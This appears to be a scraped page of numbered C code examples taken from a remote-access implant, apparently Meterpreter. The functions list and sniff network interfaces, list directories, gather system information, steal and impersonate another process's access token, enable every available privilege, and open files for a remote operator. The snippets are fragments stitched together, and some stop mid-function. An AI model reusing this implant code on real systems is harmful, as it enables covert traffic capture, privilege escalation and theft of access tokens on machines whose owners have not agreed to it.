Пример #1
0
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	Tlv entries[8];

	/*
		0: Index
		1: Name
		2: Description
		3: Type
		4: MTU
		5: Wireless?
		6: Accessible?
		7: DHCP?
	*/
	DWORD result = ERROR_SUCCESS;

#ifdef _WIN32
	HANDLE hCfg;
	unsigned int idx = 1;

	check_pssdk();

	hCfg = MgrGetFirstAdapterCfg(hMgr);

	do
	{
		unsigned char *aname = (unsigned char *)AdpCfgGetAdapterNameA(hCfg);
		unsigned char *adesc = (unsigned char *)AdpCfgGetAdapterDescriptionA(hCfg);
		unsigned int ahand = htonl((unsigned int)hCfg);
		unsigned int atype = htonl(AdpCfgGetAdapterType(hCfg));
		unsigned int amtu  = htonl(AdpCfgGetMaxPacketSize(hCfg));
		unsigned int aidx  = htonl(idx);

		BOOL awireless = AdpCfgIsWireless(hCfg);
		BOOL ausable   = AdpCfgGetAccessibleState(hCfg);
		BOOL adhcp     = AdpCfgGetDhcpState(hCfg);

		memset(entries, 0, sizeof(entries));

		dprintf("sniffer>> interface %d - %s - %s", idx, aname, adesc);

		entries[0].header.type   = TLV_TYPE_UINT;
		entries[0].header.length = sizeof(unsigned int);
		entries[0].buffer        = (PUCHAR)&aidx;

		entries[1].header.type   = TLV_TYPE_STRING;
		entries[1].header.length = strlen(aname)+1;
		entries[1].buffer        = aname;

		entries[2].header.type   = TLV_TYPE_STRING;
		entries[2].header.length = strlen(adesc)+1;
		entries[2].buffer        = adesc;

		entries[3].header.type   = TLV_TYPE_UINT;
		entries[3].header.length = sizeof(unsigned int);
		entries[3].buffer        = (PUCHAR)&atype;

		entries[4].header.type   = TLV_TYPE_UINT;
		entries[4].header.length = sizeof(unsigned int);
		entries[4].buffer        = (PUCHAR)&amtu;

		entries[5].header.type   = TLV_TYPE_BOOL;
		entries[5].header.length = sizeof(BOOL);
		entries[5].buffer        = (PUCHAR)&awireless;

		entries[6].header.type   = TLV_TYPE_BOOL;
		entries[6].header.length = sizeof(BOOL);
		entries[6].buffer        = (PUCHAR)&ausable;

		entries[7].header.type   = TLV_TYPE_BOOL;
		entries[7].header.length = sizeof(BOOL);
		entries[7].buffer        = (PUCHAR)&adhcp;

		packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);

		idx++;
	}while((hCfg = MgrGetNextAdapterCfg(hMgr,hCfg)) != NULL);

#else
	char errbuf[PCAP_ERRBUF_SIZE+4];
	int aidx = htonl(1);				// :~(
	struct ifaces_list *ifaces;
	uint32_t i;
	int aidx_bigendian;
	int mtu_bigendian;

	int yes_int = htonl(1);
	int no_int = 0;
	int mtu_int = htonl(1514);

	pcap_if_t *interfaces, *int_iter;

	interfaces = int_iter = NULL;
	ifaces = NULL;

	do {
		result = pcap_findalldevs(&interfaces, errbuf);

		if(!result) { // pcap_findalldevs suceeded
			for(int_iter = interfaces; int_iter; int_iter = int_iter->next)
			{
				entries[0].header.type   = TLV_TYPE_UINT;
				entries[0].header.length = sizeof(unsigned int);
				entries[0].buffer        = (PUCHAR)&aidx;

				entries[1].header.type   = TLV_TYPE_STRING;
				entries[1].header.length = strlen(int_iter->name)+1;
				entries[1].buffer        = (PUCHAR)int_iter->name;

				entries[2].header.type   = TLV_TYPE_STRING;
				entries[2].header.length = strlen(int_iter->name)+1;
				entries[2].buffer        = (PUCHAR)int_iter->name;

				entries[3].header.type   = TLV_TYPE_UINT;
				entries[3].header.length = sizeof(unsigned int);
				entries[3].buffer        = (PUCHAR)&no_int;		// xxx, get encapsulation type?

				entries[4].header.type   = TLV_TYPE_UINT;
				entries[4].header.length = sizeof(unsigned int);
				entries[4].buffer        = (PUCHAR)&mtu_int;		// PKS :-(

				entries[5].header.type   = TLV_TYPE_BOOL;
				entries[5].header.length = sizeof(BOOL);
				entries[5].buffer        = (PUCHAR)&no_int;		// check encaps options / crap

				entries[6].header.type   = TLV_TYPE_BOOL;
				entries[6].header.length = sizeof(BOOL);
				entries[6].buffer        = (PUCHAR)&yes_int;		// sure, why not.

				entries[7].header.type   = TLV_TYPE_BOOL;
				entries[7].header.length = sizeof(BOOL);
				entries[7].buffer        = (PUCHAR)&no_int;		// hrm. not worth it.

				packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
				aidx = htonl(ntohl(aidx)+1);	// :~(
			}
		} else {
			dprintf("pcap_findalldevs() failed, trying netlink_get_interfaces now, errbuf was %s", errbuf);
			result = netlink_get_interfaces(&ifaces);
			if(result) {
				dprintf("Error when retrieving interfaces info");
				break;
			}
			// netlink_get_interfaces suceeded
			for (i = 0; i < ifaces->entries; i++)
			{
				aidx_bigendian		 = htonl(ifaces->ifaces[i].index); 
				entries[0].header.type   = TLV_TYPE_UINT;
				entries[0].header.length = sizeof(uint32_t);
				entries[0].buffer        = (PUCHAR)&aidx_bigendian;

				entries[1].header.type   = TLV_TYPE_STRING;
				entries[1].header.length = strlen(ifaces->ifaces[i].name)+1;
				entries[1].buffer        = (PUCHAR)ifaces->ifaces[i].name;

				entries[2].header.type   = TLV_TYPE_STRING;
				entries[2].header.length = strlen(ifaces->ifaces[i].name)+1;
				entries[2].buffer        = (PUCHAR)ifaces->ifaces[i].name;

				entries[3].header.type   = TLV_TYPE_UINT;
				entries[3].header.length = sizeof(unsigned int);
				entries[3].buffer        = (PUCHAR)&no_int;		// xxx, get encapsulation type?

				mtu_bigendian		 = htonl(ifaces->ifaces[i].mtu);
				entries[4].header.type   = TLV_TYPE_UINT;
				entries[4].header.length = sizeof(uint32_t);
				entries[4].buffer        = (PUCHAR)&mtu_bigendian;

				entries[5].header.type   = TLV_TYPE_BOOL;
				entries[5].header.length = sizeof(BOOL);
				entries[5].buffer        = (PUCHAR)&no_int;		// check encaps options / crap

				entries[6].header.type   = TLV_TYPE_BOOL;
				entries[6].header.length = sizeof(BOOL);
				entries[6].buffer        = (PUCHAR)&yes_int;		// sure, why not.

				entries[7].header.type   = TLV_TYPE_BOOL;
				entries[7].header.length = sizeof(BOOL);
				entries[7].buffer        = (PUCHAR)&no_int;		// hrm. not worth it.

				packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
			}

		}		

	} while(0);

	if(ifaces)
		free(ifaces);
	if(interfaces)
		pcap_freealldevs(interfaces);


#endif

	packet_transmit_response(result, remote, response);
	return ERROR_SUCCESS;
}
Пример #2
0
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
	Packet *response = packet_create_response(packet);
	unsigned int ifid;
	unsigned int maxp;
	CaptureJob *j;
	DWORD result;
	HANDLE ifh;

#ifndef _WIN32
	char errbuf[PCAP_ERRBUF_SIZE+4];
	char *name;
#endif

	check_pssdk();
	dprintf("sniffer>> start_capture()");

	ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID);
	maxp = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_PACKET_COUNT);
	maxp = min(maxp, SNIFFER_MAX_QUEUE);
	maxp = max(maxp, 1);

	result = ERROR_SUCCESS;

	do {
		// the interface is invalid
		if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) {
			result = ERROR_INVALID_PARAMETER;
			break;
		}

#ifdef _WIN32
		ifh = pktsdk_interface_by_index(ifid);
		if(ifh == NULL) {
			result = ERROR_INVALID_PARAMETER;
			break;
		}
#else
		ifh = ifid;
#endif

		j = &open_captures[ifid];

		// the interface is already being captured
		if(j->active) {
			result = ERROR_INVALID_PARAMETER;
			break;
		}

#ifdef _WIN32
		j->adp = AdpCreate();
		dprintf("sniffer>> capture_start() AdpCreate: 0x%.8x", j->adp);

		AdpSetConfig(j->adp,ifh);
		hErr = AdpOpenAdapter(j->adp);
		dprintf("sniffer>> capture_start() AdpOpenAdapter: 0x%.8x", hErr);
		if (hErr != HNERR_OK) {
			AdpDestroy(j->adp);
			result = hErr;
			break;
		}
		j->capture_linktype = 1; //  LINKTYPE_ETHERNET forced on windows
#else
		name = get_interface_name_by_index(ifh);

		if(! name) {
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		j->pcap = pcap_open_live(name, 65535, 1, 1000, errbuf);
		if(! j->pcap) {
			result = EACCES;
			break;
		}
		j->capture_linktype = dlt_to_linktype(pcap_datalink(j->pcap)); // get the datalink associated with the capture, needed when saving pcap file
		if (-1 == j->capture_linktype)
			j->capture_linktype = 1; // force to LINKTYPE_ETHERNET in case of error

		if(packet_filter) {
			struct bpf_program bpf;
			char *add_filter;
			char *real_filter = NULL;
			int rc;

			dprintf("handling packet_filter");

			add_filter = packet_get_tlv_value_string(packet,TLV_TYPE_SNIFFER_ADDITIONAL_FILTER);

			dprintf("add_filter = %p (%s)", add_filter, add_filter ? add_filter : "");

			if(add_filter) {
				asprintf(&real_filter, "%s and (%s)", packet_filter, add_filter);
			} else {
				real_filter = strdup(packet_filter);
			}

			dprintf("the real filter string we'll be using is '%s'", real_filter);

			rc = pcap_compile(j->pcap, &bpf, real_filter, 1, 0);
			free(real_filter);

			if(rc == -1) {
				dprintf("pcap compile reckons '%s' is a failure because of '%s'",
					real_filter, pcap_geterr(j->pcap));

				result = ERROR_INVALID_PARAMETER;
				break;
			}

			dprintf("compiled filter, now setfilter()'ing");

			rc = pcap_setfilter(j->pcap, &bpf);
			pcap_freecode(&bpf);

			if(rc == -1) {
				dprintf("can't set filter because '%s'", pcap_geterr(j->pcap));

				result = ERROR_INVALID_PARAMETER;
				break;
			}

			dprintf("filter applied successfully");
		}

		j->thread = thread_create((THREADFUNK) sniffer_thread, j, NULL);
		if(! j->thread) {
			pcap_close(j->pcap);
			break;
		}

#endif

		j->pkts = (HANDLE *) calloc(maxp, sizeof(HANDLE));
		if(j->pkts == NULL) {
#ifdef _WIN32
			AdpCloseAdapter(j->adp);
			AdpDestroy(j->adp);
#else
			pcap_close(j->pcap);
#endif
			result = ERROR_ACCESS_DENIED;
			break;
		}

		j->active   = 1;
		j->intf     = ifid;
		j->max_pkts = maxp;
		j->cur_pkts = 0;
		j->mtu      = AdpCfgGetMaxPacketSize(AdpGetConfig(j->adp));

#ifdef _WIN32
		AdpSetOnPacketRecv(j->adp, (FARPROC) sniffer_receive, (DWORD_PTR)j);
		AdpSetMacFilter(j->adp, mfAll);
#else
		thread_run(j->thread);
#endif

	} while(0);

	packet_transmit_response(result, remote, response);
	return ERROR_SUCCESS;
}
/*
 * Gets the contents of a given directory path and returns the list of file
 * names to the requestor.
 *
 * TLVs:
 *
 * req: TLV_TYPE_DIRECTORY_PATH - The directory that should be listed
 */
DWORD request_fs_ls(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCSTR directory;
	DWORD result = ERROR_SUCCESS;
	LPSTR expanded = NULL, tempFile = NULL;
	size_t tempFileSize = 0;
	LPSTR baseDirectory = NULL;
	struct meterp_stat buf;

	directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);

	// Enumerate the directory if one was provided
	if (!directory)
		result = ERROR_INVALID_PARAMETER;
	else
	{
#ifdef _WIN32
		WIN32_FIND_DATA data;
		HANDLE ctx = NULL;
#else
		DIR *ctx;
		struct dirent *data;
#endif
		BOOLEAN freeDirectory = FALSE;
		LPSTR tempDirectory = (LPSTR)directory;

#ifdef _WIN32
		// If there is not wildcard mask on the directory, create a version of the
		// directory with a mask appended
		if (!strrchr(directory, '*'))
		{
			if (!(tempDirectory = (LPSTR)malloc(strlen(directory) + 3)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				goto out;
			}

			sprintf(tempDirectory, "%s\\*", directory);	

			// Dupe!
			if (!(baseDirectory = _strdup(directory)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				goto out;
			}
		}
		// Otherwise, if it does have an asterisk, we need to scan back and find
		// the base directory.  If there is no slash, it means we're listing the
		// cwd.
		else
		{
			PCHAR slash = strrchr(directory, '\\');

			if (slash)
			{
				*slash = 0;

				if (!(baseDirectory = _strdup(directory)))
				{
					result = ERROR_NOT_ENOUGH_MEMORY;
					goto out;
				}

				*slash = '\\';
			}
		}

		// Expand the path
		if (!(expanded = fs_expand_path(tempDirectory)))
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			goto out;
		}

		// Start the find operation
		ctx = FindFirstFile(expanded, &data);

 #define DF_NAME data.cFileName
#else
		expanded = 0;
		ctx = opendir(tempDirectory);
		if(ctx == NULL)
		{
		  result = errno;
		  goto out;
		}
		data = readdir(ctx);
		if (!(baseDirectory = _strdup(directory)))
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			goto out;
		}
	      
 #define DF_NAME data->d_name
#endif

		do
		{
			size_t fullSize = (baseDirectory ? strlen(baseDirectory) : 0) + strlen(DF_NAME) + 2;

			// No context?  Sucktastic
			if (ctx == INVALID_HANDLE_VALUE)
			{
				result = GetLastError();
				break;
			}

			// Allocate temporary storage to stat the file
			if ((!tempFile) || (tempFileSize < fullSize))
			{
				if (tempFile)
				{
					free(tempFile);
				}

				// No memory means we suck a lot like spoon's mom
				if (!(tempFile = (LPSTR)malloc(fullSize)))
				{
					result = ERROR_NOT_ENOUGH_MEMORY;
					break;
				}

				// Update the tempFileSize so that we don't allocate if we don't
				// need to like a true efficient ninja
				tempFileSize = fullSize;
			}

			// Build the full path
			if (baseDirectory)
			{
#ifdef _WIN32
				sprintf(tempFile, "%s\\%s", baseDirectory, DF_NAME);
#else
				sprintf(tempFile, "%s/%s", baseDirectory, DF_NAME);
#endif
			}
			else
			{
				sprintf(tempFile, "%s", DF_NAME);
			}

			// Add the file name to the response
			packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, DF_NAME);
			// Add the full path
			packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, tempFile);

			// Stat the file to get more information about it.
			if (fs_stat(tempFile, &buf) >= 0)
			{
				packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf));
			}

#ifdef _WIN32
		} while (FindNextFile(ctx, &data));
#else
	        } while (data = readdir(ctx));
#endif
#undef DF_NAME

		// Clean up resources
		if (freeDirectory)
		{
			free(tempDirectory);
		}

		if (ctx)
		{
#ifdef _WIN32
			FindClose(ctx);
#else
			closedir(ctx);
#endif
		}
	}
Пример #4
0
/*
 * sys_sysinfo
 * ----------
 *
 * Get system information such as computer name and OS version
 */
DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	CHAR computer[512], buf[512], *osName = NULL, * osArch = NULL, * osWow = NULL;
	DWORD res = ERROR_SUCCESS;
	DWORD size = sizeof(computer);
	OSVERSIONINFOEX v;
	HMODULE hKernel32;

	memset(&v, 0, sizeof(v));
	memset(computer, 0, sizeof(computer));
	memset(buf, 0, sizeof(buf));

	v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

	do
	{
		// Get the computer name
		if (!GetComputerName(computer, &size))
		{
			res = GetLastError();
			break;
		}

		packet_add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer);

		// Get the operating system version information
		if (!GetVersionEx((LPOSVERSIONINFO)&v))
		{
			res = GetLastError();
			break;
		}

		if (v.dwMajorVersion == 3)
			osName = "Windows NT 3.51";
		else if (v.dwMajorVersion == 4)
		{
			if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
				osName = "Windows 95";
			else if (v.dwMinorVersion == 10)
				osName = "Windows 98";
			else if (v.dwMinorVersion == 90)
				osName = "Windows ME";
			else if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_NT)
				osName = "Windows NT 4.0";
		}
		else if (v.dwMajorVersion == 5)
		{
			if (v.dwMinorVersion == 0)
				osName = "Windows 2000";
			else if (v.dwMinorVersion == 1)
				osName = "Windows XP";
			else if (v.dwMinorVersion == 2)
				osName = "Windows .NET Server";
		}
		else if (v.dwMajorVersion == 6 && v.dwMinorVersion == 0)
		{
			if (v.wProductType == VER_NT_WORKSTATION)
				osName = "Windows Vista";
			else 
				osName = "Windows 2008";
		}
		else if (v.dwMajorVersion == 6 && v.dwMinorVersion == 1)
		{
			if (v.wProductType == VER_NT_WORKSTATION)
				osName = "Windows 7";
			else 
				osName = "Windows 2008 R2";
		}
		
		if (!osName)
			osName = "Unknown";
		
		_snprintf(buf, sizeof(buf) - 1, "%s (Build %lu, %s).", osName, 
				v.dwBuildNumber, v.szCSDVersion, osArch, osWow );

		packet_add_tlv_string(response, TLV_TYPE_OS_NAME, buf);

		// sf: we dynamically retrieve GetNativeSystemInfo & IsWow64Process as NT and 2000 dont support it.
		hKernel32 = LoadLibraryA( "kernel32.dll" );
		if( hKernel32 )
		{
			typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo );
			typedef BOOL (WINAPI * ISWOW64PROCESS)( HANDLE, PBOOL );
			GETNATIVESYSTEMINFO pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddress( hKernel32, "GetNativeSystemInfo" );
			ISWOW64PROCESS pIsWow64Process = (ISWOW64PROCESS)GetProcAddress( hKernel32, "IsWow64Process" );
			if( pGetNativeSystemInfo )
			{
				SYSTEM_INFO SystemInfo;
				pGetNativeSystemInfo( &SystemInfo );
				switch( SystemInfo.wProcessorArchitecture )
				{
					case PROCESSOR_ARCHITECTURE_AMD64:
						osArch = "x64";
						break;
					case PROCESSOR_ARCHITECTURE_IA64:
						osArch = "IA64";
						break;
					case PROCESSOR_ARCHITECTURE_INTEL:
						osArch = "x86";
						break;
					default:
						break;
				}
			}
			if( pIsWow64Process )
			{
				BOOL bIsWow64 = FALSE;
				pIsWow64Process( GetCurrentProcess(), &bIsWow64 );
				if( bIsWow64 )
					osWow = " (Current Process is WOW64)";
			}
		}
		// if we havnt set the arch it is probably because we are on NT/2000 which is x86
		if( !osArch )
			osArch = "x86";

		if( !osWow )
			osWow = "";

		_snprintf( buf, sizeof(buf) - 1, "%s%s", osArch, osWow );
		packet_add_tlv_string(response, TLV_TYPE_ARCHITECTURE, buf);

		if( hKernel32 )
		{
			char * ctryname = NULL, * langname = NULL;
			typedef LANGID (WINAPI * GETSYSTEMDEFAULTLANGID)( VOID );
			GETSYSTEMDEFAULTLANGID pGetSystemDefaultLangID = (GETSYSTEMDEFAULTLANGID)GetProcAddress( hKernel32, "GetSystemDefaultLangID" );
			if( pGetSystemDefaultLangID )
			{
				LANGID langId = pGetSystemDefaultLangID();

				int len = GetLocaleInfo( langId, LOCALE_SISO3166CTRYNAME, 0, 0 );
				if( len > 0 )
				{
					ctryname = (char *)malloc( len );
					GetLocaleInfo( langId, LOCALE_SISO3166CTRYNAME, ctryname, len ); 
				}
				
				len = GetLocaleInfo( langId, LOCALE_SISO639LANGNAME, 0, 0 );
				if( len > 0 )
				{
					langname = (char *)malloc( len );
					GetLocaleInfo( langId, LOCALE_SISO639LANGNAME, langname, len ); 
				}
			}

			if( !ctryname || !langname )
				_snprintf( buf, sizeof(buf) - 1, "Unknown");
			else
				_snprintf( buf, sizeof(buf) - 1, "%s_%s", langname, ctryname );
				
			packet_add_tlv_string( response, TLV_TYPE_LANG_SYSTEM, buf );

			if( ctryname )
				free( ctryname );

			if( langname )
				free( langname );
		}

			
	} while (0);

	// Transmit the response
	packet_transmit_response(res, remote, response);

	return res;
}
Пример #5
0
/*
 * sys_steal_token
 * ----------
 *
 * Steals the primary token from an existing process
 */
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD res = ERROR_SUCCESS;
	CHAR username[512], username_only[512], domainname_only[512];
	LPVOID TokenUserInfo[4096];
	HANDLE token = NULL;
	HANDLE handle = NULL;
	HANDLE xtoken = NULL;
	DWORD pid;
	DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only);
	DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length;

	memset(username, 0, sizeof(username));
	memset(username_only, 0, sizeof(username_only));
	memset(domainname_only, 0, sizeof(domainname_only));

	do
	{
		// Get the process identifier that we're attaching to, if any.
		pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);

		if (!pid) {
			res = -1;
			break;
		}

		handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);

		if(!handle) {
			res = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", pid, res);
			break;
		}

		if(! OpenProcessToken(handle, TOKEN_ALL_ACCESS, &token)){
			res = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", pid, res);
			break;
		}

		if(! ImpersonateLoggedOnUser(token)) {
			res = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", pid, res);
			break;	
		}


		if(! DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &xtoken)) {
			res = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to duplicate a primary token for %d (%u)", pid, res);
			break;	
		}

		core_update_thread_token(remote, xtoken);

		if (! GetTokenInformation(token, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length))
		{
			res = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to get token information for %d (%u)", pid, res);
			break;
		}
		
		if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type))
		{
			res = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to lookup sid for %d (%u)", pid, res);
			break;
		}

 		// Make full name in DOMAIN\USERNAME format
		_snprintf(username, 512, "%s\\%s", domainname_only, username_only);
		username[511] = '\0';

		packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username);

	} while (0);

	if(handle)
		CloseHandle(handle);
	
	if(token)
		CloseHandle(token);

	// Transmit the response
	packet_transmit_response(res, remote, response);

	return res;
}
Пример #6
0
/*
 * sys_getprivs
 * ----------
 *
 * Obtains as many privileges as possible
 * Based on the example at http://nibuthomas.com/tag/openprocesstoken/
 */
DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD res = ERROR_SUCCESS;
	HANDLE token = NULL;
	int x;
	TOKEN_PRIVILEGES priv = {0};
	LPCTSTR privs[] = {
		SE_DEBUG_NAME,
		SE_TCB_NAME,
		SE_CREATE_TOKEN_NAME,
		SE_ASSIGNPRIMARYTOKEN_NAME,
		SE_LOCK_MEMORY_NAME,
		SE_INCREASE_QUOTA_NAME,
		SE_UNSOLICITED_INPUT_NAME,
		SE_MACHINE_ACCOUNT_NAME,
		SE_SECURITY_NAME,
		SE_TAKE_OWNERSHIP_NAME,
		SE_LOAD_DRIVER_NAME,
		SE_SYSTEM_PROFILE_NAME,
		SE_SYSTEMTIME_NAME,
		SE_PROF_SINGLE_PROCESS_NAME,
		SE_INC_BASE_PRIORITY_NAME,
		SE_CREATE_PAGEFILE_NAME,
		SE_CREATE_PERMANENT_NAME,
		SE_BACKUP_NAME,
		SE_RESTORE_NAME,
		SE_SHUTDOWN_NAME,
		SE_AUDIT_NAME,
		SE_SYSTEM_ENVIRONMENT_NAME,
		SE_CHANGE_NOTIFY_NAME,
		SE_REMOTE_SHUTDOWN_NAME,
		SE_UNDOCK_NAME,
		SE_SYNC_AGENT_NAME,         
		SE_ENABLE_DELEGATION_NAME,  
		SE_MANAGE_VOLUME_NAME,
		0
	};

	do
	{
		if( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token ))  {
			res = GetLastError();
			break;
		}

		for( x = 0; privs[x]; ++x )
		{
			memset(&priv, 0, sizeof(priv));
			LookupPrivilegeValue(NULL, privs[x], &priv.Privileges[0].Luid );    
			priv.PrivilegeCount = 1;    
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    
			if(AdjustTokenPrivileges(token, FALSE, &priv, 0, 0, 0 )) {
				if(GetLastError() == ERROR_SUCCESS) {
					packet_add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]);
				}
			} else {
				dprintf("[getprivs] Failed to set privilege %s (%u)", privs[x], GetLastError());
			}
		}  
	} while (0);

	if(token)
		CloseHandle(token);

	// Transmit the response
	packet_transmit_response(res, remote, response);

	return res;
}
Пример #7
0
/*
 * Handles the open request for a file channel and returns a valid channel
 * identifier to the requestor if the file is opened successfully
 */
DWORD request_fs_file_channel_open(Remote *remote, Packet *packet)
{
	Packet *response = NULL;
	PCHAR filePath, mode;
	DWORD res = ERROR_SUCCESS;
	DWORD flags = 0;
	Channel *newChannel = NULL;
	PoolChannelOps chops = { 0 };
	FileContext *ctx;
	LPSTR expandedFilePath = NULL;

	// Allocate a response
	response = packet_create_response(packet);

	// Get the channel flags
	flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);

	// Allocate storage for the file context
	if (!(ctx = calloc(1, sizeof(FileContext)))) {
		res = ERROR_NOT_ENOUGH_MEMORY;
		goto out;
	}

	// Get the file path and the mode
	filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
	mode     = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE);

	if (mode == NULL) {
		mode = "rb";
	}

	res = fs_fopen(filePath, mode, &ctx->fd);
	if (res != ERROR_SUCCESS) {
		goto out;
	}

	memset(&chops, 0, sizeof(chops));

	// Initialize the pool operation handlers
	chops.native.context = ctx;
	chops.native.write   = file_channel_write;
	chops.native.close   = file_channel_close;
	chops.read           = file_channel_read;
	chops.eof            = file_channel_eof;
	chops.seek           = file_channel_seek;
	chops.tell           = file_channel_tell;

	// Check the response allocation & allocate a un-connected
	// channel
	if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) {
		res = ERROR_NOT_ENOUGH_MEMORY;
		goto out;
	}

	// Add the channel identifier to the response
	packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));

out:
	// Transmit the packet if it's valid
	packet_transmit_response(res, remote, response);

	// Clean up on failure
	if (res != ERROR_SUCCESS) {
		if (newChannel) {
			channel_destroy(newChannel, NULL);
		}
		free(ctx);
	}

	return res;
}